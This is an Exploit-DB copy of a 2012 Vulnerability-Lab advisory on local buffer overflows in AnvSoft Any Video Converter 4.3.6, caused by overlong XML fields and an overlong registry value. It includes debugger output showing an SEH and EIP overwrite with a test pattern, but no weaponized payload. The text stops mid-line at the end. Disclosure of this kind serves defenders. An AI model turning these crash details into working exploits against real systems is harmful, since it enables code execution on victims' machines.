Exploit-DB #18717
Description: AnvSoft Any Video Converter 4.3.6 - Multiple Buffer Overflows
Type: dos
Platform: windows
Date: 2012-04-08
Author: Vulnerability-Lab

Exploit:
Title:
======
AnvSoft Any Video Converter 4.3.6 - Multiple Buffer Overflow


Date:
=====
2012-04-08


References:
===========
http://www.vulnerability-lab.com/get_content.php?id=492


VL-ID:
=====
492


Introduction:
=============
An all-in-one user-friendly DVD ripper, Video Record, video converter, YouTube Downloader, 
video editor and DVD burner, which helps you rip DVD and record/convert video for multimedia 
devices, like iPhone 4, iPad, iPod, Google Android, PSP, Nokia, Samsung Galaxy with lossless quality.

Features
Support conversion on all DVD variations, input formats and output formats, such as AVI, MP4, MPEG, 
MOV, WMV, 3GP, MKV, FLV, RMVB, WebM, MP3 etc. More...
Record video and capture desktop activities.
Screencast anything you see on screen.
Support video conversion to iPhone, iPad, iPod, Apple TV, ePad, Samsung Galaxy S II, Amazon Kindle Fire etc.

All other mobile devices: PS3, Blackberry, Xbox 360, Zune, Motorola Droid, etc. More...
Download and convert YouTube and other online videos for portable devices.
Burn videos to CD/DVD/Blu-ray disc with DVD customized menu.
Convert 6 times faster with NVIDIA CUDA acceleration technology. More...
Edit video: add subtitles, merge, clip, crop video and apply special effects.

(Copy of the Vendor Homepage: http://www.any-video-converter.com )


Abstract:
=========
A Vulnerability Laboratory Researcher discovered multiple Local Buffer Overflow vulnerabilities on AnvSoft Any Video 
Converter Free / Pro / Ultimate v4.3.6


Report-Timeline:
================
2012-04-08:	Public or Non-Public Disclosure


Status:
========
Published


Affected Products:
==================
AnvSoft
Product: Any Video Converter v4.3.6 Free|Pro|Ultimate


Exploitation-Technique:
=======================
Local


Severity:
=========
Critical


Details:
========
Mulitple Buffer Overflow vulnerabilities are detected on AnvSoft Any Video Converter Free / Pro / Ultimate v4.3.6 (current version).
The vulnerabilities are located in the main executeable `AVCUltimate.exe`. 

1.
When launching  `AVCUltimate.exe`, it automatically reads the contents of the `profiles_v2.xml` from the application directory. 
The application does not validate the string length of different xml-fields before passing the content to a buffer, which could lead 
to a local buffer overflow. Nearly every item in the `profiles_v2.xml` is vulnerable. As an example:

<category name=``[vuln]`` id=``0`` icon=``[vuln]`` desc=``[vuln]``/>
<group name=``[vuln]`` icon=``[vuln]`` desc=``[vuln]`` in_category=`` all, [vuln]``/>
<profile name=``[vuln]``>

--- Debug Logs ---
#Disassembly:
7C9132A6   FFD1             CALL ECX
7C9132A8   64:8B25 00000000 MOV ESP,DWORD PTR FS:[0]
7C9132AF   64:8F05 00000000 POP DWORD PTR FS:[0]
7C9132B6   8BE5             MOV ESP,EBP
7C9132B8   5D               POP EBP
7C9132B9   C2 1400          RETN 14
7C9132BC   8B4C24 04        MOV ECX,DWORD PTR SS:[ESP+4]
7C9132C0   F741 04 06000000 TEST DWORD PTR DS:[ECX+4],6
7C9132C7   B8 01000000      MOV EAX,1
7C9132CC   75 12            JNZ SHORT ntdll.7C9132E0
7C9132CE   8B4C24 08        MOV ECX,DWORD PTR SS:[ESP+8]
7C9132D2   8B5424 10        MOV EDX,DWORD PTR SS:[ESP+10]
7C9132D6   8B41 08          MOV EAX,DWORD PTR DS:[ECX+8]
7C9132D9   8902             MOV DWORD PTR DS:[EDX],EAX
7C9132DB   B8 02000000      MOV EAX,2
7C9132E0   C2 1000          RETN 10


#Registers:
EAX 00000000
ECX 42424242
EDX 7C9132BC ntdll.7C9132BC
EBX 00000000
ESP 00125608
EBP 00125628
ESI 00000000
EDI 00000000
EIP 42424242


#Dump:
00125EB4  41 41 41 41 41 41 41 41  AAAAAAAA
00125EBC  41 41 41 41 41 41 41 41  AAAAAAAA
00125EC4  41 41 41 41 41 41 41 41  AAAAAAAA
00125ECC  41 41 41 41 42 42 42 42  AAAABBBB
00125ED4  43 43 43 43 43 43 43 43  CCCCCCCC
00125EDC  43 43 43 43 43 43 43 43  CCCCCCCC
00125EE4  43 43 43 43 43 43 43 43  CCCCCCCC


#Stack:
00125608   7C9132A8  RETURN to ntdll.7C9132A8
0012560C   001256F0
00125610   00125ECC  ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
00125614   0012570C
00125618   001256C4
0012561C   00125ECC  Pointer to next SEH record
00125620   7C9132BC  SE handler
00125624   00125ECC  ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
00125628  /001256D8
0012562C  |7C91327A  RETURN to ntdll.7C91327A from ntdll.7C913282
00125630  |001256F0
00125634  |00125ECC  ASCII AAAABBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
00125638  |0012570C
0012563C  |001256C4
00125640  |42424242


Picture(s):
                                            ../1.png



2.
During the start of the application the value `OutputFolder` from the registry key 
[HKEY_CURRENT_USER/Software/AnvSoft/Any Video Converter Ultimate/Setting/Output] is read. 
The application does not validate the string length of the registry value before passing the content to a buffer, which could 
lead to a unicode-based local buffer overflow.

Invalid parameter passed to C runtime function.
Invalid parameter passed to C runtime function.

(13f8.1620): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000041 ebx=035f8392 ecx=02ed0000 edx=035f799c esi=02ecf564 edi=02ecf128
eip=7701bcac esp=02ecf070 ebp=02ecf08c iopl=0         nv up ei pl nz ac pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010217
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C://Windows/syswow64/msvcrt.dll - 
msvcrt!vsnwprintf_l+0xbc:
7701bcac 668901          mov     word ptr [ecx],ax        ds:002b:02ed0000=????


02ecfde0: /AnvSoft/Any Video Converter/VideoConverter.exe - 
VideoConverte